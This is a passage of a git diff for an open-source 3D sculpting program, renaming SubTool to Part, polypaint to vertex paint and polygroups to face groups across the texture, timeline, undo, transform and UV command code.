#include "core/Undo.h"
@@ -253,8 +253,8 @@ void registerTextureChannelCommands(CommandRegistry& reg) {
" channel (texture_channels enable=" + channelFormat(c).id + ")"};
}
doc.channelView = c;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (const Mesh& m = doc.subtoolMesh(i); m.texture) syncChannelView(*m.texture, c);
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (const Mesh& m = doc.partMesh(i); m.texture) syncChannelView(*m.texture, c);
return {true, c == Channel::BaseColor ? std::string("Showing the textures as they are")
: std::string("Showing the ") + channelFormat(c).label + " channel"};
}});
diff --git a/src/core/TextureChannels.cpp b/src/core/TextureChannels.cpp
index 107c8911..8a980b75 100644
--- a/src/core/TextureChannels.cpp
+++ b/src/core/TextureChannels.cpp
@@ -4,7 +4,7 @@
#include "core/Document.h"
#include "core/Mesh.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include "core/ThreadPool.h"
#include "core/Undo.h"
diff --git a/src/core/TextureCommands.cpp b/src/core/TextureCommands.cpp
index 7e31dee9..827d0519 100644
--- a/src/core/TextureCommands.cpp
+++ b/src/core/TextureCommands.cpp
@@ -4,7 +4,7 @@
// Commands for texture painting (core/Texture.h) and automatic UVs (core/AutoUv.h), plus the texture side
// of the paint_layer_* commands.
#include "core/AutoUv.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include "core/TextureTransfer.h"
#include "core/Undo.h"
@@ -49,7 +49,7 @@ std::string blendList() {
std::string layerName(const PaintTexture& t, int i) { return i < 0 ? std::string("Base") : t.layers[size_t(i)].name; }
-// The layer named by "layer" or "index" (as the polypaint commands), the active one by default; -2 + error if none.
+// The layer named by "layer" or "index" (as the vertex paint commands), the active one by default; -2 + error if none.
int layerArg(const PaintTexture& t, const Args& a, std::string& error) {
if (a.contains("layer")) {
const std::string name = argString(a, "layer");
@@ -228,7 +228,7 @@ void registerTextureCommands(CommandRegistry& reg) {
"comes from the texture, not the mesh). The Paint brush, fills and paint layers then work on the texture. "
"Needs UVs (uv_auto makes them). Replaces an existing texture (undoable).",
{{"size", T::String, "1024, 2048 (default), 4096 or 8192 (or 1k, 2k, 4k, 8k).", false},
- {"from_polypaint", T::Bool, "Start from the Part's vertex paint instead of white. Default false.", false}},
+ {"from_vertexpaint", T::Bool, "Start from the Part's vertex paint instead of white. Default false.", false}},
[](Document& doc, const Args& a) -> CommandResult {
Mesh& m = doc.mesh;
if (m.triangleCount() == 0) return {false, "There is no mesh to paint"};
@@ -240,7 +240,7 @@ void registerTextureCommands(CommandRegistry& reg) {
UndoRecord r = captureTexture(m, "New Texture");
m.texture = makeTexture(size, size);
m.paintToTexture = true;
- if (argBool(a, "from_polypaint", false) && m.hasColors()) polypaintToTexture(m);
+ if (argBool(a, "from_vertexpaint", false) && m.hasColors()) vertexpaintToTexture(m);
m.facesDirty = true;
finishTextureUndo(r, m);
doc.undo.push(std::move(r));
@@ -266,7 +266,7 @@ void registerTextureCommands(CommandRegistry& reg) {
{{"target", T::String, "vertex or texture.", true}},
[](Document& doc, const Args& a) -> CommandResult {
const std::string t = argString(a, "target");
- if (t == "vertex" || t == "vertices" || t == "polypaint") {
+ if (t == "vertex" || t == "vertices" || t == "vertexpaint") {
doc.mesh.paintToTexture = false;
return {true, "Painting goes into the vertices (vertex paint)"};
}
@@ -277,7 +277,7 @@ void registerTextureCommands(CommandRegistry& reg) {
return {true, "Painting goes into the " + sizeLabel(*doc.mesh.texture) + " texture"};
}});
- reg.add({"texture_from_polypaint",
+ reg.add({"texture_from_vertexpaint",
"Bake the Part's vertex paint (vertex colours, all paint layers composited) into the active texture layer "
"(undoable). Creates a 2K texture when there is none.",
{{"size", T::String, "Size for a new texture: 1024, 2048, 4096 or 8192. Default 2048.", false}},
@@ -293,13 +293,13 @@ void registerTextureCommands(CommandRegistry& reg) {
m.facesDirty = true;
}
m.paintToTexture = true;
- polypaintToTexture(m);
+ vertexpaintToTexture(m);
finishTextureUndo(r, m);
doc.undo.push(std::move(r));
return {true, "Vertex Paint baked into the " + sizeLabel(*m.texture) + " texture"};
}});
- reg.add({"polypaint_from_texture",
+ reg.add({"vertexpaint_from_texture",
"Set the vertex paint (the active paint layer) of every vertex to the texture's colour under it (undoable). "
"Detail finer than the mesh is lost; vertices on UV seams average their sides.",
{},
@@ -315,7 +315,7 @@ void registerTextureCommands(CommandRegistry& reg) {
r.label = "Texture to Vertex Paint";
r.mesh = std::make_unique<Mesh>(m);
}
- textureToPolypaint(m);
+ textureToVertexPaint(m);
doc.undo.push(std::move(r));
doc.modified = true;
return {true, "Texture copied into the vertex paint of " + std::to_string(m.vertexCount()) + " vertices"};
diff --git a/src/core/TextureTransfer.h b/src/core/TextureTransfer.h
index 1fbee199..400c322c 100644
--- a/src/core/TextureTransfer.h
+++ b/src/core/TextureTransfer.h
@@ -1,14 +1,14 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Texture transfer: keeps a SubTool's painted texture (core/Texture.h) when its UVs or its surface are rebuilt.
+// Texture transfer: keeps a Part's painted texture (core/Texture.h) when its UVs or its surface are rebuilt.
//
-// - New UVs on the same triangles (Auto UV on a textured SubTool): every texel of the new layout is the same
+// - New UVs on the same triangles (Auto UV on a textured Part): every texel of the new layout is the same
// surface point as before (same triangle, same barycentrics), so it reads the old texture at the old UVs.
// Every layer is transferred, with its settings; the result is exact up to resampling (bilinear).
// - A new surface (voxel remesh, QRemesh): the result gets Auto UVs, and every texel takes the colour of the
// closest point of the old surface. Every layer is transferred too.
-// - Merged SubTools: the merged mesh keeps each part's triangles in order, so each texel reads its part's
+// - Merged Parts: the merged mesh keeps each part's triangles in order, so each texel reads its part's
// texture exactly (layers are flattened, as the parts' stacks differ).
//
// Texels are filled triangle by triangle on all threads; then the texels around each UV island are padded
diff --git a/src/core/Timeline.cpp b/src/core/Timeline.cpp
index f5eae6b1..7ac98bb4 100644
--- a/src/core/Timeline.cpp
+++ b/src/core/Timeline.cpp
@@ -54,18 +54,18 @@ size_t vecBytes(const std::vector<glm::vec3>& v) { return v.capacity() * sizeof(
// The tree
Timeline::Kind Timeline::classify(const UndoRecord& r) {
- if (r.subdiv || r.mesh || r.topology || r.subtool) return Kind::Topology;
+ if (r.subdiv || r.mesh || r.topology || r.part) return Kind::Topology;
if (!r.positions.empty()) return Kind::Stroke;
if (!r.mask.empty()) return Kind::Mask;
if (!r.colors.empty() || r.paint || r.texture || r.textureTiles) return Kind::Paint;
- if (!r.hidden.empty() || !r.polygroups.empty()) return Kind::Visibility;
+ if (!r.hidden.empty() || !r.facegroups.empty()) return Kind::Visibility;
return Kind::Other;
}
bool Timeline::fastShape(const UndoRecord& r) {
return !r.positions.empty() && r.layer == -1 && r.layerOffsets.empty() && r.mask.empty() && r.colors.empty() &&
- r.paintAlpha.empty() && !r.paint && r.hidden.empty() && r.polygroups.empty() && !r.textureTiles &&
- !r.texture && !r.mesh && !r.subdiv && !r.topology && !r.subtool && !r.uv;
+ r.paintAlpha.empty() && !r.paint && r.hidden.empty() && r.facegroups.empty() && !r.textureTiles &&
+ !r.texture && !r.mesh && !r.subdiv && !r.topology && !r.part && !r.uv;
}
void Timeline::reset() {
@@ -89,7 +89,7 @@ uint32_t Timeline::newNode(uint32_t parent, const UndoRecord* r) {
n.label = r->label.empty() ? "Edit" : r->label;
n.kind = classify(*r);
n.touched = uint32_t(std::max({r->positions.indices.size(), r->mask.indices.size(), r->colors.indices.size(),
- r->hidden.indices.size(), r->polygroups.indices.size()}));
+ r->hidden.indices.size(), r->facegroups.indices.size()}));
}
if (parent != kNone) {
nodes_[parent].children.push_back(id);
@@ -424,7 +424,7 @@ void Timeline::walkTo(Document& doc, size_t index) {
} else {
flushBatch(doc);
if (!s.undo(mesh, doc.bvh)) break;
- if (UndoRecord* u = s.lastRedo(); u && u->subtool) doc.applySubtoolStep(*u->subtool);
+ if (UndoRecord* u = s.lastRedo(); u && u->part) doc.applyPartStep(*u->part);
++lastSeek_.walked;
}
}
@@ -443,7 +443,7 @@ void Timeline::walkTo(Document& doc, size_t index) {
} else {
flushBatch(doc);
if (!s.redo(mesh, doc.bvh)) break;
- if (UndoRecord* u = s.lastUndo(); u && u->subtool) doc.applySubtoolStep(*u->subtool);
+ if (UndoRecord* u = s.lastUndo(); u && u->part) doc.applyPartStep(*u->part);
++lastSeek_.walked;
}
}
@@ -610,7 +610,7 @@ bool Timeline::canRetune(uint32_t id, std::string* why) const {
todo.pop_back();
const UndoRecord* r = recordOf(x);
if (!r) continue;
- if (r->mesh || r->topology || r->subdiv || r->subtool || !r->layerOffsets.empty() || (!r->positions.empty() && r->layer != -1))
+ if (r->mesh || r->topology || r->subdiv || r->part || !r->layerOffsets.empty() || (!r->positions.empty() && r->layer != -1))
return no("A later step (\"" + nodes_[x].label + "\") changes the mesh as a whole; re-tuning would undo it");
for (uint32_t c : nodes_[x].children) todo.push_back(c);
}
@@ -758,7 +758,7 @@ struct Reader {
};
bool savable(const UndoRecord& r) {
- return !r.mesh && !r.subdiv && !r.topology && !r.subtool && !r.texture && !r.textureTiles && !r.paint && !r.uv &&
+ return !r.mesh && !r.subdiv && !r.topology && !r.part && !r.texture && !r.textureTiles && !r.paint && !r.uv &&
r.layerOffsets.empty() && r.layer == -1 && r.paintLayer == -1 && r.paintAlpha.empty();
}
@@ -863,7 +863,7 @@ bool Timeline::save(std::vector<uint8_t>& out, const Mesh& mesh, std::string* er
writeChannel(w, r.mask);
writeChannel(w, r.colors);
writeChannel(w, r.hidden);
- writeChannel(w, r.polygroups);
+ writeChannel(w, r.facegroups);
w.pod(uint8_t(n.fast));
if (n.fast) w.vec(n.other);
w.vec(n.retuneDelta);
@@ -907,12 +907,12 @@ bool Timeline::load(Document& doc, const std::vector<uint8_t>& in, std::string*
auto r = std::make_unique<UndoRecord>();
r->label = n.label;
bool good = readChannel(rd, r->positions) && readChannel(rd, r->mask) && readChannel(rd, r->colors) &&
- readChannel(rd, r->hidden) && readChannel(rd, r->polygroups);
+ readChannel(rd, r->hidden) && readChannel(rd, r->facegroups);
n.fast = rd.pod<uint8_t>() != 0;
if (n.fast) rd.vec(n.other);
rd.vec(n.retuneDelta);
good = good && rd.ok && channelInRange(r->positions, verts) && channelInRange(r->mask, verts) &&
- channelInRange(r->colors, verts) && channelInRange(r->hidden, tris) && channelInRange(r->polygroups, tris) &&
+ channelInRange(r->colors, verts) && channelInRange(r->hidden, tris) && channelInRange(r->facegroups, tris) &&
(!n.fast || n.other.size() == r->positions.indices.size()) &&
(n.retuneDelta.empty() || n.retuneDelta.size() == r->positions.indices.size());
if (!good || r->empty()) return fail("The history file is damaged");
@@ -950,14 +950,14 @@ bool saveHistorySidecar(Document& doc, const std::string& projectPath, std::stri
std::vector<uint8_t> blob;
std::vector<uint8_t> body;
Writer wb{body};
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- UndoStack& stack = i == doc.activeSubtool ? doc.undo : doc.subtools[size_t(i)].undo;
+ for (int i = 0; i < doc.partCount(); ++i) {
+ UndoStack& stack = i == doc.activePart ? doc.undo : doc.parts[size_t(i)].undo;
Timeline* t = Timeline::of(stack);
if (!t) continue;
t->bindStack(stack);
- if (!t->save(blob, doc.subtoolMesh(i))) continue;
+ if (!t->save(blob, doc.partMesh(i))) continue;
wb.pod(uint32_t(i));
- wb.str(doc.subtools[size_t(i)].name);
+ wb.str(doc.parts[size_t(i)].name);
wb.vec(blob);
++saved;
}
@@ -1003,19 +1003,19 @@ int loadHistorySidecar(Document& doc, const std::string& projectPath, std::strin
}
const uint32_t count = rd.pod<uint32_t>();
int loaded = 0;
- const int active = doc.activeSubtool;
+ const int active = doc.activePart;
for (uint32_t k = 0; k < count && rd.ok; ++k) {
const uint32_t index = rd.pod<uint32_t>();
const std::string name = rd.str();
std::vector<uint8_t> blob;
rd.vec(blob);
- if (!rd.ok || int(index) >= doc.subtoolCount() || doc.subtools[index].name != name) continue;
- doc.selectSubtool(int(index));
+ if (!rd.ok || int(index) >= doc.partCount() || doc.parts[index].name != name) continue;
+ doc.selectPart(int(index));
std::string e;
if (Timeline::load(doc, blob, &e)) ++loaded;
else if (error) *error = e;
}
- doc.selectSubtool(active);
+ doc.selectPart(active);
return loaded;
}
diff --git a/src/core/Timeline.h b/src/core/Timeline.h
index 7e9411ac..0402aa28 100644
--- a/src/core/Timeline.h
+++ b/src/core/Timeline.h
@@ -17,7 +17,7 @@
// `checkpointEvery` fast steps it keeps a full copy of the positions (a checkpoint, within `checkpointBudget`):
// a long jump writes the nearest checkpoint at or before the target and replays at most a few steps forward,
// instead of walking every step in between, so seeking costs about the same wherever the target is. Other steps
-// (dynamic topology, remeshes, masks, paint, SubTool changes) are walked with the undo stack's own undo / redo.
+// (dynamic topology, remeshes, masks, paint, Part changes) are walked with the undo stack's own undo / redo.
//
// Re-tune: a past stroke's strength can be changed (its delta scaled) without redoing the strokes after it. The
// change is added to the current shape and to every later step's stored positions where they overlap the
@@ -27,7 +27,7 @@
// re-tuning it impossible (it reports why).
//
// The history can be saved beside a project as <name>.sfhist (saveHistory / loadHistory): sculpt strokes, masks,
-// polypaint, visibility and polygroup steps; the tree, labels, times and strengths. Steps that can't be saved
+// vertex paint, visibility and face group steps; the tree, labels, times and strengths. Steps that can't be saved
// (topology changes, textures, layers) cut the saved history at the newest such step before the cursor.
#pragma once
@@ -76,7 +76,7 @@ public:
static std::shared_ptr<Timeline> attach(Document& doc);
// The timeline watching `stack`, if any.
static Timeline* of(UndoStack& stack);
- void bindStack(UndoStack& stack) { stack_ = &stack; } // after the stack moved (SubTools); Document calls do it
+ void bindStack(UndoStack& stack) { stack_ = &stack; } // after the stack moved (Parts); Document calls do it
// --- the tree
const Node& node(uint32_t id) const { return nodes_[id]; }
@@ -174,11 +174,11 @@ private:
// The sidecar file beside a project: "<dir>/<name>.sfhist" for "<dir>/<name>.sfp" (any extension).
std::string historySidecarPath(const std::string& projectPath);
-// Writes every SubTool's history (those with a timeline) to the sidecar of `projectPath`; removes a stale one when
+// Writes every Part's history (those with a timeline) to the sidecar of `projectPath`; removes a stale one when
// there's nothing to save. Returns false with `error` on a write failure.
bool saveHistorySidecar(Document& doc, const std::string& projectPath, std::string* error = nullptr);
-// Reads the sidecar of `projectPath`, if there is one, into the SubTools whose meshes it matches (attaching
-// timelines). Returns how many SubTools got their history back.
+// Reads the sidecar of `projectPath`, if there is one, into the Parts whose meshes it matches (attaching
+// timelines). Returns how many Parts got their history back.
int loadHistorySidecar(Document& doc, const std::string& projectPath, std::string* error = nullptr);
class CommandRegistry;
diff --git a/src/core/TransformCommands.cpp b/src/core/TransformCommands.cpp
index edfa92be..0ede28e9 100644
--- a/src/core/TransformCommands.cpp
+++ b/src/core/TransformCommands.cpp
@@ -74,8 +74,8 @@ CommandResult runTransform(Document& doc, const Args& a) {
}
std::vector<int> targets;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (all ? doc.subtools[size_t(i)].visible || i == doc.activeSubtool : i == doc.activeSubtool) targets.push_back(i);
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (all ? doc.parts[size_t(i)].visible || i == doc.activePart : i == doc.activePart) targets.push_back(i);
MeshTransform t;
t.translate = translate;
@@ -86,7 +86,7 @@ CommandResult runTransform(Document& doc, const Args& a) {
if (pivot == "center" || pivot == "centre") {
AABB box;
for (int i : targets) {
- const Mesh& m = doc.subtoolMesh(i);
+ const Mesh& m = doc.partMesh(i);
if (m.vertexCount() == 0) continue;
const AABB b = transformBounds(m, transformWeights(m, useMask, falloff));
if (b.valid()) box.expand(b);
@@ -100,7 +100,7 @@ CommandResult runTransform(Document& doc, const Args& a) {
if (t.identity()) return {true, "Nothing to do: the transform changes nothing"};
size_t moved = 0;
- for (int i : targets) moved += transformSubtool(doc, i, t, useMask, falloff, sym, "Transform");
+ for (int i : targets) moved += transformPart(doc, i, t, useMask, falloff, sym, "Transform");
if (moved == 0)
return {false, useMask && doc.mesh.hasMask() ? "Nothing moved: everything is masked (masked=0 ignores the mask)"
: "Nothing moved: the Part is empty or hidden"};
diff --git a/src/core/Undo.cpp b/src/core/Undo.cpp
index 939ebaff..6e038b5d 100644
--- a/src/core/Undo.cpp
+++ b/src/core/Undo.cpp
@@ -10,7 +10,7 @@ namespace sf {
size_t UndoRecord::approxBytes() const {
size_t bytes = positions.bytes() + mask.bytes() + colors.bytes() + paintAlpha.bytes() + hidden.bytes() +
- polygroups.bytes() + (paint ? paint->bytes() : 0) +
+ facegroups.bytes() + (paint ? paint->bytes() : 0) +
(textureTiles ? textureTiles->bytes() : 0) + (texture ? texture->bytes() : 0) +
(subdiv ? subdiv->bytes() : 0) + (topology ? topology->bytes() : 0) +
(micro ? micro->bytes() : 0) + uvs.bytes() + (sets ? sets->bytes() : 0) + (uv ? uv->bytes() : 0);
@@ -20,7 +20,7 @@ size_t UndoRecord::approxBytes() const {
8 * sizeof(uint32_t)) +
mesh->triangleCount() * (sizeof(glm::uvec3) + sizeof(glm::vec3) + 4 * sizeof(uint32_t)) +
mesh->mask.size() * sizeof(float) + mesh->colors.size() * sizeof(glm::vec3) +
- mesh->polygroups.size() * sizeof(uint32_t) + mesh->hidden.size() + mesh->uvs.size() * sizeof(glm::vec2) +
+ mesh->facegroups.size() * sizeof(uint32_t) + mesh->hidden.size() + mesh->uvs.size() * sizeof(glm::vec2) +
mesh->quadPartners.size() * sizeof(uint32_t);
if (mesh) {
bytes += mesh->paintBase.size() * sizeof(glm::vec3);
@@ -134,10 +134,10 @@ UndoRecord UndoRecord::captureHidden(const Mesh& mesh, std::string label, std::s
return r;
}
-UndoRecord UndoRecord::capturePolygroups(const Mesh& mesh, std::string label, std::span<const uint32_t> tris) {
+UndoRecord UndoRecord::captureFaceGroups(const Mesh& mesh, std::string label, std::span<const uint32_t> tris) {
UndoRecord r;
r.label = std::move(label);
- captureChannel(r.polygroups, mesh.triangleCount(), tris, [&](uint32_t t) { return mesh.polygroupAt(t); });
+ captureChannel(r.facegroups, mesh.triangleCount(), tris, [&](uint32_t t) { return mesh.facegroupAt(t); });
return r;
}
@@ -212,8 +212,8 @@ void UndoStack::apply(UndoRecord& r, Mesh& mesh, BVH& bvh) {
r.hidden.swapWith(mesh.ensureHidden());
mesh.facesDirty = true;
}
- if (!r.polygroups.empty()) {
- r.polygroups.swapWith(mesh.ensurePolygroups());
+ if (!r.facegroups.empty()) {
+ r.facegroups.swapWith(mesh.ensureFaceGroups());
mesh.facesDirty = true;
}
if (!r.uvs.empty()) {
diff --git a/src/core/Undo.h b/src/core/Undo.h
index 216d4ab1..c963b249 100644
--- a/src/core/Undo.h
+++ b/src/core/Undo.h
@@ -123,9 +123,9 @@ struct SelectionSetsUndo {
size_t bytes() const; // what only this step keeps alive
};
-// Adding or removing a whole SubTool (Extract's Accept; core/Document.h). Applied by the undo / redo commands,
+// Adding or removing a whole Part (Extract's Accept; core/Document.h). Applied by the undo / redo commands,
// which see the whole scene: the record itself leaves the mesh alone.
-struct SubtoolStep;
+struct PartStep;
// "The active paint layer" for UndoRecord::captureColors.
inline constexpr int kActivePaintLayer = -2;
@@ -135,15 +135,15 @@ inline constexpr int kActivePaintLayer = -2;
// - positions: the stroke's target array (positions, layer base or a layer's
// offsets; see Mesh::layerTarget), selected by `layer`; layerOffsets: every
// layer's offsets too (transforms). Each lists a vertex at most once.
-// - mask / colors: per-vertex mask and polypaint. `colors` holds the paint
+// - mask / colors: per-vertex mask and vertex paint. `colors` holds the paint
// target of `paintLayer` (Mesh::colors without paint layers, else Base for
// -1 or that layer's colours, with its coverage in `paintAlpha`)
// - paint: the whole paint-layer stack (layer add / delete / merge / settings)
-// - hidden / polygroups: per-triangle visibility and group ids
+// - hidden / face groups: per-triangle visibility and group ids
// - textureTiles / texture: texture-paint tiles of one layer, or the whole texture
// - subdiv: a subdivision level step or level edit (core/Multires.h), applied on its own
// - topology: the slots a dynamic-topology stroke changed (core/Dyntopo.h), applied before the channels
-// - subtool: a SubTool added to the scene (Extract), taken out on undo and put back on redo
+// - part: a Part added to the scene (Extract), taken out on undo and put back on redo
// - micro: the grid tiles a stroke on a micro level changed, or a whole micro level (core/Micro.h)
// - uvs: per triangle corner texture coordinates (restoring a selection set's UVs)
// - sets: the Selection Sets list (core/SelectionSets.h)
@@ -162,13 +162,13 @@ struct UndoRecord {
UndoChannel<float> paintAlpha;
std::unique_ptr<PaintStackUndo> paint;
UndoChannel<uint8_t> hidden;
- UndoChannel<uint32_t> polygroups;
+ UndoChannel<uint32_t> facegroups;
std::unique_ptr<TextureTileUndo> textureTiles;
std::unique_ptr<TextureStackUndo> texture;
std::unique_ptr<Mesh> mesh;
std::unique_ptr<SubdivUndo> subdiv;
std::unique_ptr<TopologyUndo> topology;
- std::shared_ptr<SubtoolStep> subtool; // (shared: SubtoolStep is defined in core/Document.h)
+ std::shared_ptr<PartStep> part; // (shared: PartStep is defined in core/Document.h)
std::unique_ptr<UvUndo> uv; // UVs, seams and pins (UV Editor, core/Uv.h)
std::unique_ptr<MicroUndo> micro; // micro-displacement tiles of a stroke, or a micro level added / removed (core/Micro.h)
UndoChannel<glm::vec2> uvs; // per corner (index = triangle * 3 + corner)
@@ -176,7 +176,7 @@ struct UndoRecord {
bool empty() const {
return positions.empty() && mask.empty() && colors.empty() && paintAlpha.empty() && hidden.empty() &&
- polygroups.empty() && !mesh && !paint && !textureTiles && !texture && !subdiv && !topology && !subtool && !micro &&
+ facegroups.empty() && !mesh && !paint && !textureTiles && !texture && !subdiv && !topology && !part && !micro &&
uvs.empty() && !sets && !uv;
}
size_t approxBytes() const;
@@ -188,11 +188,11 @@ struct UndoRecord {
static UndoRecord captureColors(const Mesh& mesh, std::string label, std::span<const uint32_t> verts = {},
int paintLayer = kActivePaintLayer);
static UndoRecord captureHidden(const Mesh& mesh, std::string label, std::span<const uint32_t> tris = {});
- static UndoRecord capturePolygroups(const Mesh& mesh, std::string label, std::span<const uint32_t> tris = {});
+ static UndoRecord captureFaceGroups(const Mesh& mesh, std::string label, std::span<const uint32_t> tris = {});
};
// Watches an UndoStack: the Sculpt Timeline (core/Timeline.h) keeps its history tree in step with it. Held by the
-// stack (UndoStack::listener), so it moves with it (each SubTool's history has its own).
+// stack (UndoStack::listener), so it moves with it (each Part's history has its own).
struct UndoListener {
virtual ~UndoListener() = default;
// A step was pushed (it is the stack's last undo step); `discardedRedo` holds the redo steps the push is about
diff --git a/src/core/Uv.cpp b/src/core/Uv.cpp
index ac0b7e53..37358c1f 100644
--- a/src/core/Uv.cpp
+++ b/src/core/Uv.cpp
@@ -572,10 +572,10 @@ void uvSetSeams(Mesh& m, const std::vector<uint32_t>& twin, const std::vector<ui
m.facesDirty = true;
}
-size_t uvSeamsFromPolygroups(Mesh& m, const std::vector<uint32_t>& twin) {
+size_t uvSeamsFromFaceGroups(Mesh& m, const std::vector<uint32_t>& twin) {
std::vector<uint32_t> cut;
for (uint32_t c = 0; c < twin.size(); ++c)
- if (twin[c] != kNoCorner && twin[c] > c && m.polygroupAt(c / 3) != m.polygroupAt(twin[c] / 3)) cut.push_back(c);
+ if (twin[c] != kNoCorner && twin[c] > c && m.facegroupAt(c / 3) != m.facegroupAt(twin[c] / 3)) cut.push_back(c);
uvSetSeams(m, twin, cut, true);
return cut.size();
}
diff --git a/src/core/Uv.h b/src/core/Uv.h
index 279473c7..44433caa 100644
--- a/src/core/Uv.h
+++ b/src/core/Uv.h
@@ -129,8 +129,8 @@ glm::vec2 uvCenter(const std::vector<glm::vec2>& uvs, const std::vector<uint32_t
// Marks (`on`) or clears the seam on the edges starting at `corners`, on both sides of each edge.
void uvSetSeams(Mesh& mesh, const std::vector<uint32_t>& twin, const std::vector<uint32_t>& corners, bool on);
-// Seam presets: every polygroup border, every current island border, edges sharper than `degrees`.
-size_t uvSeamsFromPolygroups(Mesh& mesh, const std::vector<uint32_t>& twin);
+// Seam presets: every face group border, every current island border, edges sharper than `degrees`.
+size_t uvSeamsFromFaceGroups(Mesh& mesh, const std::vector<uint32_t>& twin);
size_t uvSeamsFromIslands(Mesh& mesh, const UvTopology& topo);
size_t uvSeamsFromAngle(Mesh& mesh, const std::vector<uint32_t>& twin, float degrees);
size_t uvSeamCount(const Mesh& mesh); // marked edges (each counted once)
@@ -209,18 +209,18 @@ enum class UvUnwrapMethod {
Auto, // xatlas: finds its own seams (core/AutoUv.h)
Conformal, // LSCM: angle-preserving, cut along the marked seams
Isometric, // LSCM then as-rigid-as-possible: keeps lengths too (least stretch), along the marked seams
- Polygroups, // Isometric, cut along the polygroup borders as well as the marked seams
+ FaceGroups, // Isometric, cut along the face group borders as well as the marked seams
Planar, // each piece projected along its mean normal
Unfold, // the current islands flattened again in place (Isometric, honouring pins)
};
-const char* uvUnwrapMethodId(UvUnwrapMethod m); // auto, conformal, isometric, polygroups, planar, unfold
+const char* uvUnwrapMethodId(UvUnwrapMethod m); // auto, conformal, isometric, face groups, planar, unfold
const char* uvUnwrapMethodLabel(UvUnwrapMethod m);
bool parseUvUnwrapMethod(const std::string& id, UvUnwrapMethod& m);
struct UvUnwrapOptions {
UvUnwrapMethod method = UvUnwrapMethod::Isometric;
int resolution = 2048;
- int iterations = 10; // as-rigid-as-possible steps (Isometric, Polygroups, Unfold)
+ int iterations = 10; // as-rigid-as-possible steps (Isometric, Face groups, Unfold)
bool pack = true; // pack the new islands (UvPackOptions below); off for Unfold (fitted in place)
UvPackOptions packing;
const std::vector<uint8_t>* faces = nullptr; // only these triangles (null: all); the rest keep their UVs and
diff --git a/src/core/UvCommands.cpp b/src/core/UvCommands.cpp
index 72200010..320aa29c 100644
--- a/src/core/UvCommands.cpp
+++ b/src/core/UvCommands.cpp
@@ -129,13 +129,13 @@ std::string uvInfoText(const Mesh& m, int resolution) {
void registerUvCommands(CommandRegistry& reg) {
reg.add({"uv_unwrap",
"Unwrap the active Part's UVs (UV Editor > Unwrap). Methods: isometric (least stretch: angles and lengths, "
- "along the marked seams; the default), conformal (LSCM: angles, along the seams), polygroups (cut along " // marks-pending
+ "along the marked seams; the default), conformal (LSCM: angles, along the seams), facegroups (cut along "
"the face group borders and the seams), planar (each piece projected flat), unfold (flatten the current "
"islands again in place, keeping pinned corners), auto (finds its own seams, xatlas). Pieces that are "
"closed or looped get extra cuts. The result is packed into the 0-1 tile, or across UDIM tiles. With a UV "
"selection only the selected faces are unwrapped (fitted where they were). A painted texture moves onto "
"the new UVs (keep_texture). One undo step.",
- {{"method", T::String, "isometric (default), conformal, polygroups, planar, unfold or auto", false}, // marks-pending
+ {{"method", T::String, "isometric (default), conformal, facegroups, planar, unfold or auto", false},
{"selected", T::Bool, "Only the UV Editor's selected faces (default true when something is selected)", false},
{"iterations", T::Number, "Least-stretch refinement steps (default 10; 0 = conformal)", false},
{"resolution", T::Number, "Texture size the margin is measured in (default: the texture's, or 2048)", false},
@@ -150,7 +150,7 @@ void registerUvCommands(CommandRegistry& reg) {
if (m.triangleCount() == 0) return {false, "There is no mesh to unwrap"};
UvUnwrapOptions o;
if (a.contains("method") && !parseUvUnwrapMethod(argString(a, "method"), o.method))
- return {false, "method must be isometric, conformal, polygroups, planar, unfold or auto"}; // marks-pending
+ return {false, "method must be isometric, conformal, facegroups, planar, unfold or auto"};
o.resolution = resolutionArg(doc, a);
o.iterations = std::clamp(int(argNumber(a, "iterations", 10)), 0, 100);
o.packing = packOptions(doc, a);
@@ -211,9 +211,9 @@ void registerUvCommands(CommandRegistry& reg) {
reg.add({"uv_seam",
"Mark or clear UV seams on the active Part (seams are where Unwrap cuts). op: mark / clear (the UV "
"Editor's selected edges, or the border of its selected faces), path (mark the shortest edge path from "
- "vertex `from` to vertex `to`; clear=true clears it), polygroups (every face group border), islands (every " // marks-pending
+ "vertex `from` to vertex `to`; clear=true clears it), facegroups (every face group border), islands (every "
"current UV island border), angle (edges sharper than `angle` degrees), clear_all. One undo step.",
- {{"op", T::String, "mark, clear, path, polygroups, islands, angle or clear_all", true}, // marks-pending
+ {{"op", T::String, "mark, clear, path, facegroups, islands, angle or clear_all", true},
{"from", T::Number, "path: the vertex to start at", false},
{"to", T::Number, "path: the vertex to end at", false},
{"clear", T::Bool, "path: clear the seams along it instead of marking them", false},
@@ -246,8 +246,8 @@ void registerUvCommands(CommandRegistry& reg) {
const std::vector<uint32_t> path = uvEdgePath(m, uint32_t(from), uint32_t(to));
if (path.empty()) return {false, "Those vertices aren't connected"};
uvSetSeams(m, twin, path, !argBool(a, "clear", false));
- } else if (op == "polygroups" || op == "face_groups") {
- uvSeamsFromPolygroups(m, twin);
+ } else if (op == "facegroups" || op == "face_groups") {
+ uvSeamsFromFaceGroups(m, twin);
} else if (op == "islands") {
if (!m.hasUvs()) return {false, kNoUvs};
uvSeamsFromIslands(m, buildUvTopology(m, twin));
@@ -256,7 +256,7 @@ void registerUvCommands(CommandRegistry& reg) {
} else if (op == "clear_all") {
uvClearSeams(m);
} else {
- return {false, "op must be mark, clear, path, polygroups, islands, angle or clear_all"}; // marks-pending
+ return {false, "op must be mark, clear, path, facegroups, islands, angle or clear_all"};
}
edit.commit();
const size_t after = uvSeamCount(m);
@@ -266,13 +266,13 @@ void registerUvCommands(CommandRegistry& reg) {
reg.add({"uv_select",
"Set the UV Editor's selection on the active Part (what the other uv_* commands work on). op: all, none, "
- "invert, island (the island of triangle `face`), face (triangle `face`), polygroup (every face of face group " // marks-pending
+ "invert, island (the island of triangle `face`), face (triangle `face`), facegroup (every face of face group "
"`group`), rect (faces touching u0 v0 u1 v1), seams (the marked seam edges), mode (just switch to `mode`). "
"`mode` (vertex, edge, face, island) converts the selection; `add` adds to it instead of replacing it.",
